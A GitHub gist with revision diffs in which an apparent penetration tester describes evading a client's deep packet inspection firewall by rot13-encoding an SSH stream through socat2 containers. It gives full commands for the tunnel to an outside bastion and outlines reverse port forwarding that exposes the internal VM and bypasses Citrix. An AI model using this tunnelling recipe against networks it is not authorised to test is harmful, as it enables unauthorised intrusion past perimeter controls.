Skip to content

Instantly share code, notes, and snippets.

@gmurdocca
Last active May 2, 2025 06:17
Show Gist options
  • Save gmurdocca/88857b58dc4668d88b0d0fae6ebf8b64 to your computer and use it in GitHub Desktop.
Save gmurdocca/88857b58dc4668d88b0d0fae6ebf8b64 to your computer and use it in GitHub Desktop.

Revisions

  1. gmurdocca revised this gist Mar 1, 2022. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -34,13 +34,13 @@ Inside container at bash, install rot13 and start socat2, listening on tcp/8090
    # install rot13
    apt update; apt install bsdgames -y
    # start socat2
    socat TCP4:host.docker.internal:22 "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork"
    socat "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork" TCP4:host.docker.internal:22
    ```

    Notes:

    - the `TCP4:host.docker.internal:22` part connects to sshd on the bastion
    - the `"system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork"` part listens publically on tcp/8090 and does the rot13 transcoding using socat2's dual inter address chaining
    - the `TCP4:host.docker.internal:22` part connects to sshd on the bastion, after a connection is made to tcp/8090 on the host
    - `stdbuf -o0` is used to flush stdout often, else rot13 will flush per-line only, breaking the SSH protocol causing timeouts

    ### On the VM (inside protected network)
  2. gmurdocca revised this gist Mar 1, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@ The VM can access the internet. This task should be easy. The VM's internet gate

    ## Rejected by Deep Packet Inspection

    I hit an immediate snag. the moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection of TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!
    I hit an immediate snag. The moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection of TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!

    I figured it must be a deep packet inspector blocking me, a sentinel watching the conversation. In the case of SSH it may watch the protocol banner, the `SSH-2.0-OpenSSH_8.7` bit at the beginning, or it might be looking for signatures anywhere in the conversation to identify it. If it detects an SSL or SSH conversation with a non-whitelisted host, it kills the connection.

  3. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -12,7 +12,7 @@ I figured it must be a deep packet inspector blocking me, a sentinel watching th

    ## Enter Caesar

    So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should hopefully throw the deep packet inspection sentinel off the scent and allow the traffic to pass.
    So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should hopefully throw the deep packet inspection sentinel off the scent and allow the traffic to pass.

    Rot13 is commonly installed from the bsdgames package in Linux. I tasked myself with building a rot13 transcoder pipeline, applying rot13 on every TCP message leaving the VM on a specific port, letting it go through the gateway's sentinel, and un-rot13 (or reapplying it with key=13) it back to its original form (and do same in reverse direction), and having the SSH client and server sit either side of this transcoder. Thus the OpenSSH banner would become `FFU-2.0-BcraFFU_8.7` and the sentinel should let that (and the rest of the conversation) through. This sounded like a task for the socat tool, in particular the socat v2 feature of supporting unidirectional dual inter address chaining, see here: http://www.dest-unreach.org/socat/doc/socat-addresschain.html

  4. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@ The VM can access the internet. This task should be easy. The VM's internet gate

    ## Rejected by Deep Packet Inspection

    I hit an immediate snag. the moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection on TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!
    I hit an immediate snag. the moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection of TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!

    I figured it must be a deep packet inspector blocking me, a sentinel watching the conversation. In the case of SSH it may watch the protocol banner, the `SSH-2.0-OpenSSH_8.7` bit at the beginning, or it might be looking for signatures anywhere in the conversation to identify it. If it detects an SSL or SSH conversation with a non-whitelisted host, it kills the connection.

  5. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -75,7 +75,7 @@ Boom, we get a connection, can login and get a shell. A quick tcpdump confirms a

    ## Conclusion

    We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, using usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network.
    We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, using usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network via the bastion in our control, bypassing Citrix completely.

    This again shows that systems that can access the internet in some way or another can usually be compromised, even with deep packet inspecting sentinels at the perimeter.

  6. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -75,7 +75,7 @@ Boom, we get a connection, can login and get a shell. A quick tcpdump confirms a

    ## Conclusion

    We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, ususing usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network.
    We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, using usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network.

    This again shows that systems that can access the internet in some way or another can usually be compromised, even with deep packet inspecting sentinels at the perimeter.

  7. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -62,8 +62,8 @@ socat TCP4-LISTEN:8090,reuseaddr,fork "system1:stdbuf -o0 -- /usr/games/rot13 %

    Notes:

    - the TCP4-LISTEN:8090,reuseaddr,fork listens on 8090 on the VM
    - the "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090" connects to the bastion on tcp/8090 and does the rot13 transcoding
    - the `TCP4-LISTEN:8090,reuseaddr,fork` listens on 8090 on the VM
    - the `"system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090"` connects to the bastion on tcp/8090 and does the rot13 transcoding

    On another bash shell of the protected VM (eg. in another tmux window/pane):
    ```
  8. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 5 additions and 6 deletions.
    11 changes: 5 additions & 6 deletions socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -16,21 +16,19 @@ So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Ca

    Rot13 is commonly installed from the bsdgames package in Linux. I tasked myself with building a rot13 transcoder pipeline, applying rot13 on every TCP message leaving the VM on a specific port, letting it go through the gateway's sentinel, and un-rot13 (or reapplying it with key=13) it back to its original form (and do same in reverse direction), and having the SSH client and server sit either side of this transcoder. Thus the OpenSSH banner would become `FFU-2.0-BcraFFU_8.7` and the sentinel should let that (and the rest of the conversation) through. This sounded like a task for the socat tool, in particular the socat v2 feature of supporting unidirectional dual inter address chaining, see here: http://www.dest-unreach.org/socat/doc/socat-addresschain.html

    To test, I used docker to install socat2 on either end (available ready to go via docker hub: timotto/docker-socat2).

    ## Testing

    The invocations are as follows
    To test, I used docker to install socat2 on either end, available ready to go via docker hub: timotto/docker-socat2. The invocations are as follows.

    ### On the Bastion

    sshd is listening on tcp/22 as usual. We invoke docker contaioner, mapping host to host.docker.internal inside container:
    sshd is listening on tcp/22 as usual. We invoke the docker container, mapping the host to fqdn `host.docker.internal` inside container:

    ```
    docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash
    ```

    Inside container at bash, install rot13 and start socat2, listening on tcp/8090 to the public:
    Inside container at bash, install rot13 and start socat2, listening on tcp/8090 on the internet:

    ```
    # install rot13
    @@ -47,7 +45,7 @@ Notes:

    ### On the VM (inside protected network)

    Invoke docker contaioner, again mapping host to host.docker.internal inside container:
    Invoke docker container, again mapping host to host.docker.internal inside container:

    ```
    docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash
    @@ -83,3 +81,4 @@ This again shows that systems that can access the internet in some way or anothe

    Thanks to Julius Caesar for first implementing the encoder used in this task back in ~50 B.C. and helping to crack a modern packet inspecting firewall some 2071 years later :)


  9. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -12,7 +12,7 @@ I figured it must be a deep packet inspector blocking me, a sentinel watching th

    ## Enter Caesar

    So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should in theory throw the deep packet inspection sentinel off the scent and allow the traffic to pass.
    So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should hopefully throw the deep packet inspection sentinel off the scent and allow the traffic to pass.

    Rot13 is commonly installed from the bsdgames package in Linux. I tasked myself with building a rot13 transcoder pipeline, applying rot13 on every TCP message leaving the VM on a specific port, letting it go through the gateway's sentinel, and un-rot13 (or reapplying it with key=13) it back to its original form (and do same in reverse direction), and having the SSH client and server sit either side of this transcoder. Thus the OpenSSH banner would become `FFU-2.0-BcraFFU_8.7` and the sentinel should let that (and the rest of the conversation) through. This sounded like a task for the socat tool, in particular the socat v2 feature of supporting unidirectional dual inter address chaining, see here: http://www.dest-unreach.org/socat/doc/socat-addresschain.html

  10. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@ The VM can access the internet. This task should be easy. The VM's internet gate

    ## Rejected by Deep Packet Inspection

    I hit an immediate snag. the moment I try and establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection on TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!
    I hit an immediate snag. the moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection on TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!

    I figured it must be a deep packet inspector blocking me, a sentinel watching the conversation. In the case of SSH it may watch the protocol banner, the `SSH-2.0-OpenSSH_8.7` bit at the beginning, or it might be looking for signatures anywhere in the conversation to identify it. If it detects an SSL or SSH conversation with a non-whitelisted host, it kills the connection.

  11. gmurdocca revised this gist Feb 27, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,7 @@

    I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.

    The VM can access the internet. This should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.
    The VM can access the internet. This task should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.

    ## Rejected by Deep Packet Inspection

  12. gmurdocca created this gist Feb 27, 2022.
    85 changes: 85 additions & 0 deletions socat_caesar_dpi.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,85 @@
    # Circumventing Deep Packet Inspection with Socat and rot13

    I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.

    The VM can access the internet. This should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.

    ## Rejected by Deep Packet Inspection

    I hit an immediate snag. the moment I try and establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection on TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!

    I figured it must be a deep packet inspector blocking me, a sentinel watching the conversation. In the case of SSH it may watch the protocol banner, the `SSH-2.0-OpenSSH_8.7` bit at the beginning, or it might be looking for signatures anywhere in the conversation to identify it. If it detects an SSL or SSH conversation with a non-whitelisted host, it kills the connection.

    ## Enter Caesar

    So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should in theory throw the deep packet inspection sentinel off the scent and allow the traffic to pass.

    Rot13 is commonly installed from the bsdgames package in Linux. I tasked myself with building a rot13 transcoder pipeline, applying rot13 on every TCP message leaving the VM on a specific port, letting it go through the gateway's sentinel, and un-rot13 (or reapplying it with key=13) it back to its original form (and do same in reverse direction), and having the SSH client and server sit either side of this transcoder. Thus the OpenSSH banner would become `FFU-2.0-BcraFFU_8.7` and the sentinel should let that (and the rest of the conversation) through. This sounded like a task for the socat tool, in particular the socat v2 feature of supporting unidirectional dual inter address chaining, see here: http://www.dest-unreach.org/socat/doc/socat-addresschain.html

    To test, I used docker to install socat2 on either end (available ready to go via docker hub: timotto/docker-socat2).

    ## Testing

    The invocations are as follows

    ### On the Bastion

    sshd is listening on tcp/22 as usual. We invoke docker contaioner, mapping host to host.docker.internal inside container:

    ```
    docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash
    ```

    Inside container at bash, install rot13 and start socat2, listening on tcp/8090 to the public:

    ```
    # install rot13
    apt update; apt install bsdgames -y
    # start socat2
    socat TCP4:host.docker.internal:22 "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork"
    ```

    Notes:

    - the `TCP4:host.docker.internal:22` part connects to sshd on the bastion
    - the `"system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork"` part listens publically on tcp/8090 and does the rot13 transcoding using socat2's dual inter address chaining
    - `stdbuf -o0` is used to flush stdout often, else rot13 will flush per-line only, breaking the SSH protocol causing timeouts

    ### On the VM (inside protected network)

    Invoke docker contaioner, again mapping host to host.docker.internal inside container:

    ```
    docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash
    ```

    inside container at bash, install rot13 and start socat:

    ```
    #install rot13
    apt update; apt install bsdgames -y
    # start socat2
    socat TCP4-LISTEN:8090,reuseaddr,fork "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090"
    ```

    Notes:

    - the TCP4-LISTEN:8090,reuseaddr,fork listens on 8090 on the VM
    - the "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090" connects to the bastion on tcp/8090 and does the rot13 transcoding

    On another bash shell of the protected VM (eg. in another tmux window/pane):
    ```
    # ssh to the bastion
    ssh user@localhost -p8090
    ```

    Boom, we get a connection, can login and get a shell. A quick tcpdump confirms all data is being scrambled by the ancient rot13 cypher. We're in :)

    ## Conclusion

    We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, ususing usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network.

    This again shows that systems that can access the internet in some way or another can usually be compromised, even with deep packet inspecting sentinels at the perimeter.

    Thanks to Julius Caesar for first implementing the encoder used in this task back in ~50 B.C. and helping to crack a modern packet inspecting firewall some 2071 years later :)